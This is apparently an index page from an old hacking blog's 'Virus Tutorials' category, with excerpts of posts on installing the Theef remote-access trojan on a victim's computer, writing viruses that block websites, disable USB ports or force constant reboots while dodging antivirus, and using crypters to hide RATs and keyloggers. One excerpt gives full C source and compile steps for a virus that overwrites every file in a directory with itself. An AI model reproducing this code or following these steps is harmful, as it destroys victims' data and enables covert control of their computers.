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Articles in the Virus Tutorials Category

Internet Hacking, Virus Tutorials »

[28 Nov 2009 | One Comment | ]

Theef is definitely among the best hacking tools I have ever used.  It is easy to use and intuitive, but best of all it gives you a great deal of options.  This is why you will be learning to use it today.
Theef is a Windows based application for both the client and server end.  The Theef server is a virus that you install on your victims computer, and the Theef client in what you then use to control the virus.  The biggest problem with using Theef is that most Anti-Virus …

Virus Tutorials »

[9 Sep 2009 | No Comment | ]

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.
This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. …

Virus Tutorials »

[9 Sep 2009 | No Comment | ]

This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in …

Virus Tutorials »

[9 Sep 2009 | No Comment | ]

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.
Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is …

Virus Tutorials »

[1 Sep 2009 | No Comment | ]

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus …

Decryption, Software Programming, Spyware, Trojan Horse, Virus Tutorials »

[25 Aug 2009 | 4 Comments | ]

I have mentioned about antiviruses detecting RATs as hacking software (viruses) and hence, hacker has to use Crypters to avoid antivirus detection for RATs. So, read on to know more on Crypters – hacking software for bypassing antivirus detections. I have provided link for software download.

What is Crypter???
As said above, Crypter is hacking program or application used to hide our viruses, RATs or any keylogger from antiviruses so that they are not detected and deleted by antiviruses. Thus, a crypter is a program that allow users to crypt the source …

Software Programming, Virus Tutorials »

[9 Sep 2007 | No Comment | ]

In many of my  posts especially in the Virus Tutorials section, I have used C as the programming language. If you’re new to C programming and find it difficult to compile the C source codes then this post is for you. Here is a step-by-step procedure to install Borland C++ compiler 5.5 and compile C programs.
How to install Borland C++ compiler
1. Download Borland C++ compiler 5.5 (for Windows platform) from the following link.
http://www.codegear.com/downloads/free/cppbuilder
2. After you download, run freecommandlinetools.exe. The default installation path would be
C:\Borland\BCC55
How to configure Borland C++ compiler
1. After you install Borland C++ compier, …

Software Programming, Trojan Horse, Virus Tutorials »

[9 May 2007 | No Comment | ]

Some times it becomes necessary to change the ICON of an executable(.exe) file so that the exe file get’s a new appearence.Many of the Tools such as TuneUP Winstyler does this job by adjusting the Windows to display a custom icon to the user.But in reality when the file is carried to a different computer, then it shows it’s original ICON itself.This means that inorder to permanantly change the ICON, it is necessary to modify the executable file and embed the ICON inside the file itself.Now when this is done the …

Virus Tutorials »

[9 Jan 2007 | No Comment | ]

This program will destroy itself upon execution.The program will cause the .exe file to be deleted upon execution.That is this program is capable of destroying itself upon execution.Heres the code
#include<stdio.h>
#include<conio.h>
#include<dos.h>
void main()
{
printf(”This program will destroy itself if u press any key!!!\n”);
getch();
remove(_argv[0]);/*array of pointers to command line arguments*/
}
HOW TO COMPILE ?
Load the source code to the compiler and compile(press Alt-F9) and then press F9.This will generate the .exe file in the current directory(Bin directory).Execute this .exe file it will destroy itself upon execution.